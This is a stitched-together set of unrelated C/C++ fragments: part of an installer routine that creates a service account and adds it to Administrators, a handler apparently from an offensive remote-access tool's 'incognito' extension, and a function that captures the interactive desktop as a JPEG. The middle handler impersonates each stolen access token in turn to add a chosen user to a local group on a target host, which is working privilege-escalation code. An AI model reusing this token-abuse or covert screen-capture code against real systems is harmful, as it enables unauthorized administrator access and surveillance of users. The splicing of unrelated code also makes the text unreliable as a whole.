account %s\\%S\n", (for_info_only?"Creating":"Created"), dname, unamew); set_account_expiration(dnamew, dctrlw, unamew, TIMEQ_FOREVER); /* cache new token since the account was just created */ cache_usertoken_and_homedir(service_accountname, NULL, 0, read_sa_password, (char *)service_accountname, decrypt_sa_password, 1); if (add_to_administrators_group(dnamew, unamew) != 0) goto end_add_service_account; } /* Verify password */ if (pw == NULL) { pw = getpwnam(service_accountname); if (pw == NULL) { fprintf(stderr, "Password could not be validated against %s\\%s.\n", dname, service_accountname); goto end_add_service_account; } } /* validate password */ sprintf(sa_name, "%s\\%s", dname, service_accountname); if (!for_info_only) { if (pw->pw_userlogin != INVALID_HANDLE_VALUE) { if (ImpersonateLoggedOnUser(pw->pw_userlogin) == 0) { /* fail */ if (validate_account_password(sa_name, password) == 0) { /* we still call validate_account_password() as backup since */ /* under Windows 2000, LogonUser(), called from */ /* cache_usertoken_and_homedir(), might fail due to not */ /* having the SE_TCB_NAME privilege. This must be */ /* already set before calling the "cmd" process that */ /* executes the install program. */ fprintf(stderr, "Password did not validate against %s\\%s err=%d\n\nClick BACK button to retry a different password.\nClick NEXT button to abort installation.", dname, service_accountname, GetLastError()); goto end_add_service_account; } } else { printf("Validated password for %s\n", sa_name); RevertToSelf(); } } } else { printf("Validating password for %s\n", sa_name); } /* add service account to appropriate Admin group */ if (!for_info_only && !isLocalAdminMember(service_accountname)) { if (add_to_administrators_group(dnamew, unamew) != 0) goto end_add_service_account; } wcsset(passwordw, 0); ret_val = 1; if (for_info_only) { printf("%s will need the following privileges:\n", sa_name); printf("\n\tCreate Token Object\n"); printf("\n\tReplace Process Level Token\n"); printf("\n\tLogon On As a Service\n"); printf("\n\tAct As Part of the Operating System\n"); } end_add_service_account: if (ui1_ptr != NULL) NetApiBufferFree(ui1_ptr); return (ret_val); }
DWORD request_incognito_add_localgroup_user(Remote *remote, Packet *packet) { DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i; NET_API_STATUS nStatus; LOCALGROUP_MEMBERS_INFO_3 localgroup_member; SavedToken *token_list = NULL; HANDLE saved_token; wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], groupname_u[BUF_SIZE]; char *dc_netbios_name, *groupname, *username, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = ""; // Read arguments Packet *response = packet_create_response(packet); dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); groupname = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME); username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME); mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1); mbstowcs(username_u, username, strlen(username)+1); mbstowcs(groupname_u, groupname, strlen(groupname)+1); localgroup_member.lgrmi3_domainandname = username_u; // Save current thread token if one is currently being impersonated if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token)) saved_token = INVALID_HANDLE_VALUE; token_list = get_token_list(&num_tokens); if (!token_list) { sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError()); goto cleanup; } sprintf(return_value, "[*] Attempting to add user %s to localgroup %s on host %s\n", username, groupname, dc_netbios_name); // Attempt to add user to localgroup with every token for (i=0;i<num_tokens;i++) if (token_list[i].token) { // causes major problems (always error 127) once you have impersonated this token once. No idea why!!! if (!_stricmp("NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username)) continue; ImpersonateLoggedOnUser(token_list[i].token); nStatus = NetLocalGroupAddMembers(dc_netbios_name_u, groupname_u, 3, (LPBYTE)&localgroup_member, 1); RevertToSelf(); switch (nStatus) { case ERROR_ACCESS_DENIED: case ERROR_LOGON_FAILURE: // unknown username or bad password case ERROR_INVALID_PASSWORD: break; case NERR_Success: strncat(return_value, "[+] Successfully added user to local group\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case NERR_InvalidComputer: strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case ERROR_NO_SUCH_MEMBER: strncat(return_value, "[-] User not found\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case NERR_GroupNotFound: case 1376: // found by testing (also group not found) strncat(return_value, "[-] Local group not found\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; case ERROR_MEMBER_IN_ALIAS: strncat(return_value, "[-] User already in group\n", sizeof(return_value)-strlen(return_value)-1); goto cleanup; default: sprintf(temp, "Unknown error: %d \n", nStatus); strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1); goto cleanup; } } strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1); cleanup: for (i=0;i<num_tokens;i++) CloseHandle(token_list[i].token); free(token_list); packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); packet_transmit_response(ERROR_SUCCESS, remote, response); // Restore token impersonation if (saved_token != INVALID_HANDLE_VALUE) ImpersonateLoggedOnUser(saved_token); return ERROR_SUCCESS; }
// outType = 1 : console, 2: file, 3: buffer bool Screen::takeScreenshot(const int outType, const char *filename, char **buffer, DWORD &size) { if (outType < 1 || outType > 3) { return false; } bool result = false; HBITMAP handleBitmapScreen = 0; HDC handleMemoryDC = 0; HWND hWnd = 0; HDC handleDeviceContextOfWindow = 0; // open the WinSta0 as some services are attached to a different window station. HWINSTA hWindowStation = hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); if( !hWindowStation ) { if( RevertToSelf() ) hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); } // if we cant open the defaut input station we wont be able to take a screenshot if( !hWindowStation ) { MYPRINTF( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station"); return false; } // get the current process's window station so we can restore it later on. HWINSTA hOrigWindowStation = GetProcessWindowStation(); // set the host process's window station to this sessions default input station we opened if( !SetProcessWindowStation( hWindowStation ) ) { MYPRINTF( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" ); return false; } // grab a handle to the default input desktop (e.g. Default or WinLogon) //HDESK hInputDesktop = OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED ); HDESK hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED ); if( !hInputDesktop ) { MYPRINTF( "[SCREENSHOT] screenshot: OpenInputDesktop failed" ); return false; } //if (SwitchDesktop(hInputDesktop) == 0){ // MYPRINTF( "[SCREENSHOT] screenshot: SwitchDesktop failed" ); // return false; //} // get the threads current desktop so we can restore it later on HDESK hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() ); // set this threads desktop to that of this sessions default input desktop on WinSta0 SetThreadDesktop( hInputDesktop ); // and now we can grab a handle to this input desktop HWND hDesktopWnd = GetDesktopWindow(); int screenWidth = GetSystemMetrics (SM_CXSCREEN); int screenHeight = GetSystemMetrics (SM_CYSCREEN); MYPRINTF("width: %d, height: %d\n", screenWidth, screenHeight); // Retrieve the handle to a display device context for the client // area of the window. HDC handleDeviceContextOfScreen = GetDC(hDesktopWnd); //HDC handleDeviceContextOfScreen = CreateDC("DISPLAY",NULL,NULL,NULL); if (handleDeviceContextOfScreen == 0) { MYPRINTF("GetDC(0) has failed: %d", GetLastError()); goto done; } if (outType == 1) { // print to console //The source DC is the entire screen and the destination DC is the current window (HWND) // Get the client area for size calculation HWND hWnd = GetForegroundWindow(); HDC handleDeviceContextOfWindow = GetDC(hWnd); if (handleDeviceContextOfScreen == 0) { MYPRINTF("GetDC(hWnd) has failed: %d", GetLastError()); goto done; } RECT rcClient; GetClientRect(hWnd, &rcClient); //This is the best stretch mode SetStretchBltMode(handleDeviceContextOfWindow, HALFTONE); if(!StretchBlt(handleDeviceContextOfWindow, 0,0, rcClient.right, rcClient.bottom, handleDeviceContextOfScreen, 0,0, screenWidth, screenHeight, SRCCOPY)) { MYPRINTF("StretchBlt has failed: %d", GetLastError()); goto done; } result = true; } else { // Create a compatible DC which is used in a BitBlt from the window DC handleMemoryDC = CreateCompatibleDC(handleDeviceContextOfScreen); if(!handleMemoryDC) { MYPRINTF("CreateCompatibleDC has failed: %d", GetLastError()); goto done; } BITMAPINFO bmpinfo; ZeroMemory(&bmpinfo,sizeof(bmpinfo)); LONG dwWidth = GetDeviceCaps(handleDeviceContextOfScreen, HORZRES); LONG dwHeight = GetDeviceCaps(handleDeviceContextOfScreen, VERTRES); //dwBPP = GetDeviceCaps(hScreen, BITSPIXEL); LONG dwBPP = 24; LONG dwNumColors = GetDeviceCaps(handleDeviceContextOfScreen, NUMCOLORS); LPVOID pBits; bmpinfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER); bmpinfo.bmiHeader.biWidth = dwWidth; bmpinfo.bmiHeader.biHeight = dwHeight; bmpinfo.bmiHeader.biPlanes = 1; bmpinfo.bmiHeader.biBitCount = (WORD) dwBPP; bmpinfo.bmiHeader.biCompression = BI_RGB; bmpinfo.bmiHeader.biSizeImage = 0; bmpinfo.bmiHeader.biXPelsPerMeter = 0; bmpinfo.bmiHeader.biYPelsPerMeter = 0; bmpinfo.bmiHeader.biClrUsed = dwNumColors; bmpinfo.bmiHeader.biClrImportant = dwNumColors; handleBitmapScreen = CreateDIBSection(handleDeviceContextOfScreen, &bmpinfo, DIB_PAL_COLORS, &pBits, NULL, 0); /** // Create a compatible bitmap from the Window DC handleBitmapScreen = CreateCompatibleBitmap(handleDeviceContextOfScreen, screenWidth, screenHeight); if(!handleBitmapScreen) { MYPRINTF("CreateCompatibleBitmap Failed: %d", GetLastError()); goto done; } */ // Select the compatible bitmap into the compatible memory DC. if (SelectObject(handleMemoryDC, handleBitmapScreen) == 0) { MYPRINTF("SelectObject Failed: %d", GetLastError()); goto done; } // Bit block transfer into our compatible memory DC. if(!BitBlt(handleMemoryDC, 0, 0, screenWidth, screenHeight, handleDeviceContextOfScreen, 0, 0, SRCCOPY)) { MYPRINTF("BitBlt has failed: %d", GetLastError()); goto done; } BITMAP bmpScreen; // Get the BITMAP from the HBITMAP if (GetObject(handleBitmapScreen, sizeof(BITMAP), &bmpScreen) == 0) { MYPRINTF("GetObject has failed: %d", GetLastError()); goto done; } BITMAPFILEHEADER bmfHeader; BITMAPINFOHEADER bi; bi.biSize = sizeof(BITMAPINFOHEADER); bi.biWidth = bmpScreen.bmWidth; bi.biHeight = bmpScreen.bmHeight; bi.biPlanes = 1; bi.biBitCount = 32; bi.biCompression = BI_RGB; bi.biSizeImage = 0; bi.biXPelsPerMeter = 0; bi.biYPelsPerMeter = 0; bi.biClrUsed = 0; bi.biClrImportant = 0; DWORD dwBmpSize = ((bmpScreen.bmWidth * bi.biBitCount + 31) / 32) * 4 * bmpScreen.bmHeight; HANDLE hData = GlobalAlloc(GHND,dwBmpSize); char *bmpdata = (char *)GlobalLock(hData); // Starting with 32-bit Windows, GlobalAlloc and LocalAlloc are implemented as wrapper functions that // call HeapAlloc using a handle to the process's default heap. Therefore, GlobalAlloc and LocalAlloc // have greater overhead than HeapAlloc. HANDLE hDIB = GlobalAlloc(GHND,dwBmpSize); char *lpbitmap = (char *)GlobalLock(hDIB); // Gets the "bits" from the bitmap and copies them into a buffer // which is pointed to by lpbitmap. //GetDIBits(handleDeviceContextOfWindow, handleBitmapScreen, 0, GetDIBits(handleDeviceContextOfScreen, handleBitmapScreen, 0, (UINT)bmpScreen.bmHeight, lpbitmap, (BITMAPINFO *)&bi, DIB_RGB_COLORS); // Add the size of the headers to the size of the bitmap to get the total file size DWORD dwSizeofDIB = dwBmpSize + sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER); //Offset to where the actual bitmap bits start. bmfHeader.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER); //Size of the file bmfHeader.bfSize = dwSizeofDIB; //bfType must always be BM for Bitmaps bmfHeader.bfType = 0x4D42; //BM DWORD dwBytesWritten = 0; UINT mybmpsize = dwBmpSize + sizeof(bi) + sizeof(bmfHeader); // put headers together to make a .bmp in memory memcpy(bmpdata, &bmfHeader, sizeof(bmfHeader)); memcpy(bmpdata + sizeof(bmfHeader), &bi, sizeof(bi)); memcpy(bmpdata + sizeof(bmfHeader) + sizeof(bi), lpbitmap, dwBmpSize); if (outType == 2) { // Now convert to JPEG if (bmp2jpegtofile((PBYTE)bmpdata, 70, filename ) == 0) { MYPRINTF("unable to write jpg"); } else { result = true; } } else { if (bmp2jpegtomemory((PBYTE)bmpdata, 70, (BYTE **)buffer, &size) == 0) { MYPRINTF("unable to write jpg"); } else { result = true; } } //Unlock and Free the DIB from the heap GlobalUnlock(hDIB); GlobalFree(hDIB); GlobalUnlock(hData); GlobalFree(hData); } //Clean up done: // restore the origional process's window station if( hOrigWindowStation ) SetProcessWindowStation( hOrigWindowStation ); // restore the threads origional desktop if( hOrigDesktop ) SetThreadDesktop( hOrigDesktop ); // close the WinSta0 window station handle we opened if( hWindowStation ) CloseWindowStation( hWindowStation ); // close this last to avoid a handle leak... if( hInputDesktop ) CloseDesktop( hInputDesktop ); DeleteObject(handleBitmapScreen); DeleteObject(handleMemoryDC); ReleaseDC(NULL,handleDeviceContextOfScreen); ReleaseDC(hWnd,handleDeviceContextOfWindow); return result; }